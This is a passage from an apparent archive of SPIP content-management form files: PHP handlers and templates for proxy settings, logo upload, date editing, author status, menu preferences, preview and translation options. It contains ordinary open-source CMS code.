$lang = $GLOBALS['spip_lang']; } else { $lang = ''; } return array( 'action' => ($action ? $action : generer_url_ecrire('recherche')), # action specifique, ne passe pas par Verifier, ni Traiter 'recherche' => _request('recherche'), 'lang' => $lang, 'class' => $class, '_id_champ' => 'rechercher_' . substr(md5($action . $class), 0, 4), ); } inc-instituer_auteur.html000060400000006000152526232120011604 0ustar00#SET{statuts_auteurs,#CONST{_STATUT_AUTEUR_RUBRIQUE}|explode{','}} <label for="statut"><:info_statut_auteur:></label> <select name="statut" id="statut" onchange="update_saisie_statut_auteur(this,this.options[this.selectedIndex].value);" > <BOUCLE_statuts(POUR){tableau #VAL{tous}|auteurs_lister_statuts{0}}{valeur!=nouveau}> <option value="#VALEUR"[(#STATUT|=={#VALEUR}|oui)selected="selected"]>[>(#VALEUR|=={5poubelle}|oui)][(#VALEUR|traduire_statut_auteur)]</option> </BOUCLE_statuts> [(#STATUT|=={nouveau}) <option value="#STATUT" selected="selected">[(#STATUT|traduire_statut_auteur)]</option> ] </select> [(#AUTORISER{modifier,auteur,#ID_AUTEUR,'',#ARRAY{webmestre,'?'}}|oui) <div class="choix choix-webmestre[(#STATUT|=={0minirezo}|non)none-js]"> <input type="checkbox" name="webmestre" id="webmestre" value="oui"[(#ENV{webmestre}|=={oui}|oui)checked="checked"]/> <label for="webmestre"><:info_admin_statuer_webmestre:></label> <input type='hidden' name='saisie_webmestre' value='1' /> </div> ] <div class="rubriques_restreintes[(#STATUT|in_array{#GET{statuts_auteurs}}|non)none-js]"> [(#SET{label,<:info_restreindre_rubrique:>})] <B_restreint> <p><:info_auteur_gere_rubriques:></p> <ul id='liste_rubriques_restreintes' class="item_picked"> <BOUCLE_restreint(RUBRIQUES){id_auteur}{statut==.*}{si #ENV{statut}|in_array{#GET{statuts_auteurs}}}> <li class="rubrique"><input type='checkbox' class="checkbox" name='restreintes[]' checked="checked" value='#ID_RUBRIQUE' /> <label><a href="[(#ID_RUBRIQUE|generer_url_entite{rubrique})]" target="_blank">[(#TITRE|sinon{<:info_sans_titre:>})]</a></label> [<a href="#" onclick="jQuery(this).parent().remove();return false;" class="removelink">(#CHEMIN_IMAGE{supprimer-12.png}|balise_img)</a>] </li> </BOUCLE_restreint> </ul> <input type='hidden' name='restreintes[]' value='0' /> [(#SET{label,<:info_ajouter_rubrique:>})] </B_restreint> [(#STATUT|=={0minirezo}|oui) <p><:info_auteur_gere_toutes_rubriques:></p> ] <ul id='liste_rubriques_restreintes' class="item_picked"></ul> <//B_restreint> <div class="nettoyeur"></div> <div class="instituer_auteur choix"> [(#AUTORISER{modifier,auteur,#ID_AUTEUR,'',#ARRAY{restreintes,1}}|oui) [(#ID_AUTEUR**|choisir_rubriques_admin_restreint{#GET{label},'#liste_rubriques_restreintes',#CHEMIN_IMAGE{supprimer-12.png}|balise_img})] ] </div> </div> [(#REM) Masquer/afficher le selecteur de rubriques restreintes, ou le choix webmestre ] <script type="text/javascript">/*<![CDATA[*/ function update_saisie_statut_auteur(node,value){ var statut_auteur_rubrique="[(#GET{statuts_auteurs}|implode{|})]"; var reg = new RegExp("^("+statut_auteur_rubrique+")$"); if (value.match(reg)) jQuery(node).siblings('.rubriques_restreintes:hidden').slideDown(); else jQuery(node).siblings('.rubriques_restreintes:visible').slideUp(); if (value=='0minirezo') jQuery(node).next('.choix-webmestre:hidden').slideDown(); else jQuery(node).next('.choix-webmestre:visible').slideUp(); } /*]]>*/</script>configurer_relayeur.php000060400000010730152526232120011325 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ if (!defined('_ECRIRE_INC_VERSION')) { return; } include_spip('inc/presentation'); include_spip('inc/config'); function formulaires_configurer_relayeur_charger_dist() { $valeurs = array( 'http_proxy' => no_password_proxy_url(lire_config('http_proxy', '')), 'http_noproxy' => lire_config('http_noproxy', ''), 'test_proxy' => 'http://www.spip.net/', ); return $valeurs; } function formulaires_configurer_relayeur_verifier_dist() { $erreurs = array(); $http_proxy = relayeur_saisie_ou_config(_request('http_proxy'), lire_config('http_proxy', '')); $http_noproxy = _request('http_noproxy'); if ($http_proxy and !tester_url_absolue($http_proxy)) { $erreurs['http_proxy'] = _T('info_url_proxy_pas_conforme'); } if (!isset($erreurs['http_proxy']) and _request('tester_proxy')) { if (!$http_proxy) { $erreurs['http_proxy'] = _T('info_obligatoire'); } else { include_spip('inc/distant'); $test_proxy = _request('test_proxy'); $t = parse_url($test_proxy); if (!@$t['host']) { $erreurs['test_proxy'] = _T('info_adresse_non_indiquee'); } else { include_spip('inc/texte'); // pour aide, couper, lang $info = ''; if (!need_proxy($t['host'], $http_proxy, $http_noproxy)) { $info = '<strong>' . _T('page_pas_proxy') . '</strong><br />'; } // il faut fausser le proxy actuel pour faire le test ! $cur_http_proxy = $GLOBALS['meta']['http_proxy']; $cur_http_noproxy = $GLOBALS['meta']['http_noproxy']; $GLOBALS['meta']['http_proxy'] = $http_proxy; $GLOBALS['meta']['http_noproxy'] = $http_noproxy; $page = recuperer_page($test_proxy, true); $GLOBALS['meta']['http_proxy'] = $cur_http_proxy; $GLOBALS['meta']['http_noproxy'] = $cur_http_noproxy; if ($page) { $erreurs['message_ok'] = _T('info_proxy_ok') . "<br />$info\n<tt>" . couper(entites_html($page), 300) . '</tt>'; $erreurs['message_erreur'] = ''; } else { $erreurs['message_erreur'] = $info . _T( 'info_impossible_lire_page', array('test_proxy' => "<tt>$test_proxy</tt>") ) . ' <b><tt>' . no_password_proxy_url($http_proxy) . '</tt></b>.' . aider('confhttpproxy'); } } } } return $erreurs; } function formulaires_configurer_relayeur_traiter_dist() { $res = array('editable' => true); $http_proxy = relayeur_saisie_ou_config(_request('http_proxy'), lire_config('http_proxy', '')); $http_noproxy = _request('http_noproxy'); if ($http_proxy !== null) { ecrire_meta('http_proxy', $http_proxy); } if ($http_noproxy !== null) { ecrire_meta('http_noproxy', $http_noproxy); } $res['message_ok'] = _T('config_info_enregistree'); return $res; } function relayeur_saisie_ou_config($http_proxy, $default) { // http_proxy : ne pas prendre en compte la modif si le password est '****' if (preg_match(',:\*\*\*\*@,', $http_proxy)) { $http_proxy = $default; } return $http_proxy; } // Function glue_url : le pendant de parse_url // http://code.spip.net/@glue_url function glue_url($url) { if (!is_array($url)) { return false; } // scheme $uri = (!empty($url['scheme'])) ? $url['scheme'] . '://' : ''; // user & pass if (!empty($url['user'])) { $uri .= $url['user'] . ':' . $url['pass'] . '@'; } // host $uri .= $url['host']; // port $port = (!empty($url['port'])) ? ':' . $url['port'] : ''; $uri .= $port; // path $uri .= $url['path']; // fragment or query if (isset($url['fragment'])) { $uri .= '#' . $url['fragment']; } elseif (isset($url['query'])) { $uri .= '?' . $url['query']; } return $uri; } // Ne pas afficher la partie 'password' du proxy // http://code.spip.net/@no_password_proxy_url function no_password_proxy_url($http_proxy) { if ($http_proxy and $p = @parse_url($http_proxy) and isset($p['pass']) and $p['pass'] ) { $p['pass'] = '****'; $http_proxy = glue_url($p); } return $http_proxy; } configurer_previsualiseur.php000060400000002345152526232120012562 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ if (!defined('_ECRIRE_INC_VERSION')) { return; } include_spip('inc/presentation'); function formulaires_configurer_previsualiseur_charger_dist() { $valeurs = array(); $valeurs['preview'] = explode(',', $GLOBALS['meta']['preview']); return $valeurs; } function formulaires_configurer_previsualiseur_traiter_dist() { $res = array('editable' => true); if ($i = _request('preview') and is_array($i)) { $i = ',' . implode(',', $i) . ','; } ecrire_meta('preview', $i); $res['message_ok'] = _T('config_info_enregistree'); return $res; } editer_logo.php000060400000021143152526232120007546 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Gestion du formulaire d'édition de logo * * Ce formulaire ajoute, modifie ou supprime des logos sur les objets de SPIP. * * - En dehors d'une boucle, ce formulaire modifie le logo du site. * - Dans une boucle, il modifie le logo de la table selectionnée. * * Pensez juste que l'appel de `#LOGO_{TYPE}` s'appuie sur le nom de la clé primaire et non sur le * nom de l'objet réel. Par exemple on ecrira `#LOGO_GROUPE` (et non `#LOGO_GROUPEMOTS`) pour afficher * un logo issu du formulaire mis dans une boucle `GROUPES_MOTS` * * - il est possible de lui passer les paramètres objet et id : `#FORMULAIRE_EDITER_LOGO{article,1}` * - il est possible de spécifier une URL de redirection apres traitement : * `#FORMULAIRE_EDITER_LOGO{article,1,#URL_ARTICLE}` * * @package SPIP\Core\Formulaires **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } global $logo_libelles; // utilise pour le logo du site, donc doit rester ici $logo_libelles['site'] = _T('logo_site'); $logo_libelles['racine'] = _T('logo_standard_rubrique'); /** * Chargement du formulaire d'édition de logo * * @param string $objet Objet SPIP auquel sera lie le document (ex. article) * @param int $id_objet Identifiant de l'objet * @param string $retour Url de redirection apres traitement * @param array $options Tableau d'option (exemple : image_reduire => 50) * @return array Variables d'environnement pour le fond */ function formulaires_editer_logo_charger_dist($objet, $id_objet, $retour = '', $options = array()) { // pas dans une boucle ? formulaire pour le logo du site // dans ce cas, il faut chercher un 'siteon0.ext' if (!$objet) { $objet = 'site'; } $objet = objet_type($objet); $_id_objet = id_table_objet($objet); if (!is_array($options)) { $options = unserialize($options); } $options = spip_sanitize_from_request($options, '*'); if (!isset($options['titre'])) { $balise_img = chercher_filtre('balise_img'); $img = $balise_img(chemin_image('image-24.png'),'', 'cadre-icone'); $libelles = pipeline('libeller_logo', $GLOBALS['logo_libelles']); $libelle = (($id_objet or $objet != 'rubrique') ? $objet : 'racine'); if (isset($libelles[$libelle])) { $libelle = $libelles[$libelle]; } elseif ($libelle = objet_info($objet, 'texte_logo_objet')) { $libelle = _T($libelle); } else { $libelle = _L('Logo'); } switch ($objet) { case 'article': $libelle .= ' ' . aider('logoart'); break; case 'breve': $libelle .= ' ' . aider('breveslogo'); break; case 'rubrique': $libelle .= ' ' . aider('rublogo'); break; default: break; } $options['titre'] = $img . $libelle; } if (!isset($options['editable'])) { include_spip('inc/autoriser'); $options['editable'] = autoriser('iconifier', $objet, $id_objet); } $res = array( 'editable' => ($GLOBALS['meta']['activer_logos'] == 'oui' ? ' ' : '') && (!isset($options['editable']) or $options['editable']), 'logo_survol' => ($GLOBALS['meta']['activer_logos_survol'] == 'oui' ? ' ' : ''), 'objet' => $objet, 'id_objet' => $id_objet, '_options' => $options, '_show_upload_off' => '', ); // rechercher le logo de l'objet // la fonction prend un parametre '_id_objet' etrange : // le nom de la cle primaire (et non le nom de la table) // ou directement le nom du raccourcis a chercher $chercher_logo = charger_fonction('chercher_logo', 'inc'); $etats = $res['logo_survol'] ? array('on', 'off') : array('on'); foreach ($etats as $etat) { $logo = $chercher_logo($id_objet, $_id_objet, $etat); if ($logo) { $res['logo_' . $etat] = $logo[0]; } } // pas de logo_on -> pas de formulaire pour le survol if (!isset($res['logo_on'])) { $res['logo_survol'] = ''; } elseif (!isset($res['logo_off']) and _request('logo_up')) { $res['_show_upload_off'] = ' '; } // si le logo n'est pas editable et qu'il n'y en a pas, on affiche pas du tout le formulaire if (!$res['editable'] and !isset($res['logo_off']) and !isset($res['logo_on']) ) { return false; } return $res; } /** * Identifier le formulaire en faisant abstraction des parametres qui * ne representent pas l'objet edite * * @param string $objet Objet SPIP auquel sera lie le document (ex. article) * @param int $id_objet Identifiant de l'objet * @param string $retour Url de redirection apres traitement * @param array $options Tableau d'option (exemple : image_reduire => 50) * @return string Hash du formulaire */ function formulaires_editer_logo_identifier_dist($objet, $id_objet, $retour = '', $options = array()) { return serialize(array($objet, $id_objet)); } /** * Verification avant traitement du formulaire d'édition de logo * * On verifie que l'upload s'est bien passe et * que le document recu est une image (d'apres son extension) * * @param string $objet Objet SPIP auquel sera lie le document (ex. article) * @param int $id_objet Identifiant de l'objet * @param string $retour Url de redirection apres traitement * @param array $options Tableau d'option (exemple : image_reduire => 50) * @return array Erreurs du formulaire */ function formulaires_editer_logo_verifier_dist($objet, $id_objet, $retour = '', $options = array()) { $erreurs = array(); // verifier les extensions $sources = formulaire_editer_logo_get_sources(); foreach ($sources as $etat => $file) { // seulement si une reception correcte a eu lieu if ($file and $file['error'] == 0) { if (!in_array( strtolower(pathinfo($file['name'], PATHINFO_EXTENSION)), array('jpg', 'png', 'gif', 'jpeg') )) { $erreurs['logo_' . $etat] = _L('Extension non reconnue'); } } } return $erreurs; } /** * Traitement de l'upload d'un logo * * Il est affecte au site si la balise n'est pas dans une boucle, * sinon a l'objet concerne par la boucle ou indiquee par les parametres d'appel * * @param string $objet Objet SPIP auquel sera lie le document (ex. article) * @param int $id_objet Identifiant de l'objet * @param string $retour Url de redirection apres traitement * @param array $options Tableau d'option (exemple : image_reduire => 50) * @return array Retour des traitements */ function formulaires_editer_logo_traiter_dist($objet, $id_objet, $retour = '', $options = array()) { $res = array('editable' => ' '); // pas dans une boucle ? formulaire pour le logo du site // dans ce cas, il faut chercher un 'siteon0.ext' if (!$objet) { $objet = 'site'; } include_spip('action/editer_logo'); // effectuer la suppression si demandee d'un logo $on = _request('supprimer_logo_on'); if ($on or _request('supprimer_logo_off')) { logo_supprimer($objet, $id_objet, $on ? 'on' : 'off'); $res['message_ok'] = ''; // pas besoin de message : la validation est visuelle set_request('logo_up', ' '); } // sinon supprimer ancien logo puis copier le nouveau else { $sources = formulaire_editer_logo_get_sources(); foreach ($sources as $etat => $file) { if ($file and $file['error'] == 0) { if ($err = logo_modifier($objet, $id_objet, $etat, $file)) { $res['message_erreur'] = $err; } else { $res['message_ok'] = ''; } // pas besoin de message : la validation est visuelle set_request('logo_up', ' '); } } } // Invalider les caches de l'objet include_spip('inc/invalideur'); suivre_invalideur("id='$objet/$id_objet'"); if ($retour) { $res['redirect'] = $retour; } return $res; } /** * Extraction des sources des fichiers uploadés correspondant aux 2 logos (normal + survol) * si leur upload s'est bien passé * * @return array * Sources des fichiers dans les clés `on` ou `off` */ function formulaire_editer_logo_get_sources() { if (!$_FILES) { $_FILES = isset($GLOBALS['HTTP_POST_FILES']) ? $GLOBALS['HTTP_POST_FILES'] : array(); } if (!is_array($_FILES)) { return array(); } $sources = array(); foreach (array('on', 'off') as $etat) { if (isset($_FILES['logo_' . $etat]) and $_FILES['logo_' . $etat]['error'] == 0) { $sources[$etat] = $_FILES['logo_' . $etat]; } } return $sources; } dater.html000060400000010550152526232120006526 0ustar00<div class="formulaire_spip formulaire_#FORM formulaire_#FORM-#ENV{objet}-#ENV{id,nouveau}[ (#ENV{_class})]"> [<p class="reponse_formulaire reponse_formulaire_ok">(#ENV*{message_ok})</p>] [<p class="reponse_formulaire reponse_formulaire_erreur">(#ENV*{message_erreur})</p>] [(#ENV{editable}) <form method='post' action='#ENV{action}'><div> <input type='submit' class='over' name='changer' value='<:bouton_changer:>' /> [(#REM) declarer les hidden qui declencheront le service du formulaire parametre : url d'action ] #ACTION_FORMULAIRE ] <div class="editer-groupe"> #SET{name,date}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer long_label editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label for="#GET{name}">[(#ENV{_label_date})] #AIDER{artdate}</label>[ <span class='erreur_message'>(#GET{erreurs})</span> ] <span class="affiche"[(#ENV{_saisie_en_cours}|et{#ENV{_editer_date}}|oui)style="display:none;"]>[(#ENV*{afficher_#GET{name}}|affdate)]</span> <BOUCLE_editable(CONDITION){si #ENV{editable}}> <span class="toggle_box_link"[(#ENV{_saisie_en_cours}|oui)style="display:none;"]>[<button class="link" name="_saisie_en_cours" value="X" onclick="var f=jQuery(this).parents('form').eq(0);f.find('.editer .input.editable').show('fast').siblings('span').add(jQuery(this).parent()).hide('fast');f.find('.boutons').show('fast');f.find('input.date').eq(0).focus();[(#ENV{sans_redac}|oui)f.find('.editer_date_redac label\[for=date_redac\]').hide();]return false;" ><:bouton_changer:><i class="over"> \(#ENV{_label_date}\)</i></button>]</span> <span class="input[(#ENV{_editer_date}|oui)editable]"[(#ENV{_saisie_en_cours}|et{#ENV{_editer_date}}|non)style="display:none;"]> <input type="text" class="text date" name="#GET{name}_jour" id="#GET{name}_jour" value="#ENV{#GET{name}_jour}" size="10"/> <input type="text" class="text heure time" name="#GET{name}_heure" id="#GET{name}_heure" value="#ENV{#GET{name}_heure}" size="5"/> </span> </BOUCLE_editable> </div> <BOUCLE_editer_date_anterieure(CONDITION){si #ENV{_editer_date_anterieure}|oui}> #SET{name,date_redac}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer long_label editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label for="#GET{name}">[(#ENV{_label_date_redac,<:texte_date_publication_anterieure:>})] #AIDER{artdate_redac}</label>[ <span class='erreur_message'>(#GET{erreurs})</span> ] <span class="affiche"[(#ENV{_saisie_en_cours}|oui)style="display:none;"]>[(#ENV*{afficher_#GET{name}}|affdate|sinon{<:jour_non_connu_nc:>})]</span> <BOUCLE_editable1(CONDITION){si #ENV{editable}}> <span class="input editable"[(#ENV{_saisie_en_cours}|non)style="display:none;"]> <span class="saisie_redac"[(#ENV{sans_redac}|oui)style="display:none;"]> <input type="text" class="text date" name="#GET{name}_jour" id="#GET{name}_jour" value="#ENV{#GET{name}_jour}" size="10"/> <input type="text" class="text heure time" name="#GET{name}_heure" id="#GET{name}_heure" value="#ENV{#GET{name}_heure}" size="5"/> <br /> </span> <span class="choix"> <input type="checkbox" name="sans_redac" value="1"[(#ENV{sans_redac}|oui)checked="checked"] id="sans_redac" onclick="jQuery(this).blur();" onchange="if (jQuery(this).prop('checked')) {jQuery(this).parent().siblings().hide('fast');$(this).parents('form').find('.editer_date_redac label[for=date_redac]').hide(); } else { jQuery(this).parent().siblings().show('fast'); ;$(this).parents('form').find('.editer_date_redac label[for=date_redac]').show('fast'); }" /><label for="sans_redac">[(#ENV{_texte_sans_date_redac,<:texte_date_publication_anterieure_nonaffichee:>})]</label> </span> </BOUCLE_editable1> </span> </div> </BOUCLE_editer_date_anterieure> </div> [(#REM) ajouter les saisies supplementaires : extra et autre, a cet endroit ] <!--extra--> [(#ENV{editable}) <p class='boutons'[(#ENV{_saisie_en_cours}|non)style="display:none;"]> <span class='image_loading'> </span> <input type='submit' class='submit' name='annuler' value='<:bouton_annuler:>' /> <input type='submit' class='submit' name='changer' value='<:bouton_changer:>' /> </p> </div></form> ] </div> <INCLURE{fond=formulaires/dateur/inc-dateur,heure_pas} /> configurer_articles.php000060400000003605152526232120011306 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ if (!defined('_ECRIRE_INC_VERSION')) { return; } function formulaires_configurer_articles_charger_dist() { $valeurs = array(); foreach (array( 'articles_surtitre', 'articles_soustitre', 'articles_descriptif', 'articles_chapeau', 'articles_texte', 'articles_ps', 'articles_redac', 'articles_urlref', 'post_dates', 'articles_redirection', ) as $m) { $valeurs[$m] = $GLOBALS['meta'][$m]; } return $valeurs; } function formulaires_configurer_articles_traiter_dist() { $res = array('editable' => true); $purger_skel = false; // Purger les squelettes si un changement de meta les affecte if ($i = _request('post_dates') and ($i != $GLOBALS['meta']['post_dates'])) { $purger_skel = true; } foreach (array( 'articles_surtitre', 'articles_soustitre', 'articles_descriptif', 'articles_chapeau', 'articles_texte', 'articles_ps', 'articles_redac', 'articles_urlref', 'post_dates', 'articles_redirection', ) as $m) { if (!is_null($v = _request($m))) { ecrire_meta($m, $v == 'oui' ? 'oui' : 'non'); } } if ($purger_skel) { include_spip('inc/invalideur'); purger_repertoire(_DIR_SKELS); } $res['message_ok'] = _T('config_info_enregistree'); return $res; } configurer_visiteurs.html000060400000003261152526232120011710 0ustar00<div class="formulaire_spip formulaire_configurer formulaire_#FORM formulaire_#FORM-#ENV{id,nouveau}"> <h3 class='titrem'><img src="#CHEMIN_IMAGE{auteur-6forum-24.png}" class="cadre-icone" /><:info_visiteurs:></h3> [<p class="reponse_formulaire reponse_formulaire_ok">(#ENV*{message_ok})</p>] [<p class="reponse_formulaire reponse_formulaire_erreur">(#ENV*{message_erreur})</p>] [(#ENV{editable}) <p><:info_question_accepter_visiteurs:></p> <form method='post' action='#ENV{action}'><div> [(#REM) declarer les hidden qui declencheront le service du formulaire parametre : url d'action ] #ACTION_FORMULAIRE <div class="editer-groupe"> #SET{name,accepter_visiteurs}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> [ <span class='erreur_message'>(#GET{erreurs})</span> ]<div class="choix"> <input type="radio" name="#GET{name}" id="#GET{name}_oui" value="oui" [(#ENV{#GET{name}}|=={oui}|oui)checked="checked"] /><label for="#GET{name}_oui"><:info_option_accepter_visiteurs:></label> </div> <div class="choix"> <input type="radio" name="#GET{name}" id="#GET{name}_non" value="non" [(#ENV{#GET{name}}|=={oui}|non)checked="checked"] /><label for="#GET{name}_non"><:info_option_ne_pas_accepter_visiteurs:></label> </div> </div> </div> [(#REM) ajouter les saisies supplementaires : extra et autre, a cet endroit ] <!--extra--> <p class='boutons'><span class='image_loading'> </span><input type='submit' class='submit' value='<:bouton_enregistrer:>' /></p> </div></form> ][(#ENV{editable}|non) <p><:info_forums_abo_invites:></p> ] </div>configurer_flux.php000060400000002352152526232120010454 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ if (!defined('_ECRIRE_INC_VERSION')) { return; } function formulaires_configurer_flux_charger_dist() { $valeurs = array(); foreach (array( 'syndication_integrale' ) as $m) { $valeurs[$m] = $GLOBALS['meta'][$m]; } return $valeurs; } function formulaires_configurer_flux_traiter_dist() { $res = array('editable' => true); foreach (array( 'syndication_integrale', ) as $m) { if (!is_null($v = _request($m))) { ecrire_meta($m, $v == 'oui' ? 'oui' : 'non'); } } $res['message_ok'] = _T('config_info_enregistree'); return $res; } configurer_preferences_menus.html000060400000006210152526232120013360 0ustar00<div class="formulaire_spip formulaire_configurer formulaire_#FORM formulaire_#FORM-#ENV{id,nouveau}"> <h3 class='titrem'><:titre_configurer_preferences_menus:></h3> [<p class="reponse_formulaire reponse_formulaire_ok">(#ENV*{message_ok})</p>] [<p class="reponse_formulaire reponse_formulaire_erreur">(#ENV*{message_erreur})</p>] <form method='post' action='#ENV{action}'><div> #ACTION_FORMULAIRE [(#AUTORISER{webmestre}|oui) <div class='editer editer_activer_menudev[ (#ENV{erreurs/activer_menudev}|oui)erreur]'> [<span class='erreur_message'>(#ENV{erreurs/activer_menudev})</span>] <div class='choix'> <input type="hidden" name="activer_menudev" value="non" /> <input class='checkbox' type="checkbox" name="activer_menudev" value='oui' [checked="(#ENV{activer_menudev,non}|=={oui}|?{checked})"] id="activer_menudev"/> <label for="activer_menudev"><:info_activer_menu_developpement:></label> </div> </div>] #SET{boutons,#ARRAY|definir_barre_boutons{0}|trier_boutons_enfants_par_favoris_alpha} <div class='menus_favoris fieldset'> <fieldset> <legend><:titre_preference_menus_favoris:></legend> <div class="editer-groupe deux_colonnes"> <BOUCLE_menu(DATA){source tableau, #GET{boutons}}{cle LIKE 'menu_%'}{cle !IN #LISTE{menu_accueil}}> <B_menusous> <div class="editer menus_favoris pleine_largeur"> <label>[(#LIBELLE|_T)]</label> [<span class='erreur_message'>(#ENV{erreurs/menus_favoris})</span>] <BOUCLE_menusous(DATA){source tableau, #SOUSMENU}> <div class="item choix"> <input class='text positionner' type="text" name="menus_favoris[#CLE]" value="#ENV{menus_favoris/#CLE}" id="menu_fav_#CLE" size="1"> <label for="menu_fav_#CLE">[(#LIBELLE|_T)]</label> </div> </BOUCLE_menusous> </div> </B_menusous> </BOUCLE_menu> </div> </fieldset> </div> [(#REM) ajouter les saisies supplementaires : extra et autre, a cet endroit ] <!--extra--> <p class='boutons'> <span class='image_loading'> </span> <input type='submit' name="reset" class='submit' value='<:bouton_reinitialiser_aux_valeurs_par_defaut:>' /> <input type='submit' class='submit' value='<:bouton_enregistrer:>' /> </p> </div></form> </div> <style type="text/css"> .formulaire_spip .choix .positionner { width:2.2em; text-align:center; } </style> <script type="text/javascript"> jQuery(function($) { $('.formulaire_#FORM form').on('click', '.choix label', function(){ var $me = $(this); var $parent = $me.closest('.editer'); var $input = $me.siblings('.positionner'); if ($input.val()) { $input.val(""); var trier = []; $parent.find('.positionner').each(function(){ if ($(this).val()) { trier.push({id: $(this).attr('id'), val: parseInt($(this).val()) }); } }); trier.sort(function(a,b) { return a.val - b.val; }); var i = 1; $.each(trier, function(k, a) { $parent.find('#' + a.id).val(i); i++; }); } else { var max = 0; $parent.find('.positionner').each(function(){ if ($(this).val() > max) { max = $(this).val(); } }); $input.val(parseInt(max) + 1); } return false; }); }); </script>configurer_previsualiseur.html000060400000003220152526232120012730 0ustar00<div class="formulaire_spip formulaire_configurer formulaire_#FORM formulaire_#FORM-#ENV{id,nouveau}"> <h3 class='titrem'><img src="#CHEMIN_IMAGE{preview-24.png}" class="cadre-icone" /><:previsualisation:>#AIDER{previsu}</h3> [<p class="reponse_formulaire reponse_formulaire_ok">(#ENV*{message_ok})</p>] [<p class="reponse_formulaire reponse_formulaire_erreur">(#ENV*{message_erreur})</p>] [(#ENV{editable}) <p><:info_preview_texte:></p> <form method='post' action='#ENV{action}'><div> [(#REM) declarer les hidden qui declencheront le service du formulaire parametre : url d'action ] #ACTION_FORMULAIRE <div class="editer-groupe"> #SET{name,preview}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> [ <span class='erreur_message'>(#GET{erreurs})</span> ] <div class="choix"> <input type="checkbox" name="#GET{name}\[\]" id="#GET{name}_0minirezo" value="0minirezo" [(#VAL{0minirezo}|in_any{#ENV{#GET{name}}}|oui)checked="checked"] /><label for="#GET{name}_0minirezo"><:info_administrateurs:></label> </div> <div class="choix"> <input type="checkbox" name="#GET{name}\[\]" id="#GET{name}_1comite" value="1comite" [(#VAL{1comite}|in_any{#ENV{#GET{name}}}|oui)checked="checked"] /><label for="#GET{name}_1comite"><:info_redacteurs:></label> </div> </div> </div> [(#REM) ajouter les saisies supplementaires : extra et autre, a cet endroit ] <!--extra--> <p class='boutons'><span class='image_loading'> </span><input type='submit' class='submit' value='<:bouton_enregistrer:>' /></p> </div></form> ] </div> traduire.php000060400000014563152526232120007101 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Gestion du formulaire de traduction * * @package SPIP\Core\Formulaires **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } include_spip('inc/actions'); include_spip('inc/editer'); /** * Charger les données de #FORMULAIRE_TRADUIRE * * @param string $objet * Type d'objet * @param int $id_objet * Identifiant de l'objet * @param string $retour * URL de retour * @param bool $traduire * Permet de désactiver la gestion de traduction sur un objet ayant id_trad * @return array|bool * False si l'identifiant n'est pas numérique ou si l'objet n'a pas de langue * Contexte à transmettre au squelette du formulaire sinon */ function formulaires_traduire_charger_dist($objet, $id_objet, $retour = '', $traduire = true) { if (!intval($id_objet)) { return false; } $valeurs = formulaires_editer_objet_charger($objet, $id_objet, null, 0, $retour, ''); // verifier que l'objet indique possede bien des champs id_trad et lang // attention, charger renomme lang => langue pour ne pas perturber la langue d'affichage du squelette if (!isset($valeurs['langue'])) { return false; } $valeurs['editable'] = autoriser('changerlangue', $objet, $id_objet); $valeurs['_langue'] = ''; $langue_parent = ''; $id_parent = ''; if (isset($valeurs['id_rubrique'])) { $id_parent = $valeurs['id_rubrique']; } if (isset($valeurs['id_parent'])) { $id_parent = $valeurs['id_parent']; } if ($id_parent) { $langue_parent = sql_getfetsel('lang', 'spip_rubriques', 'id_rubrique=' . intval($id_parent)); } if (!$langue_parent) { $langue_parent = $GLOBALS['meta']['langue_site']; } if ($valeurs['editable'] and in_array(table_objet_sql($objet), explode(',', $GLOBALS['meta']['multi_objets'])) ) { $valeurs['_langue'] = $valeurs['langue']; } $valeurs['langue_parent'] = $langue_parent; $valeurs['_objet'] = $objet; $valeurs['_id_objet'] = $id_objet; $valeurs['changer_lang'] = ''; $valeurs['_traduisible'] = autoriser('changertraduction', $objet, $id_objet); 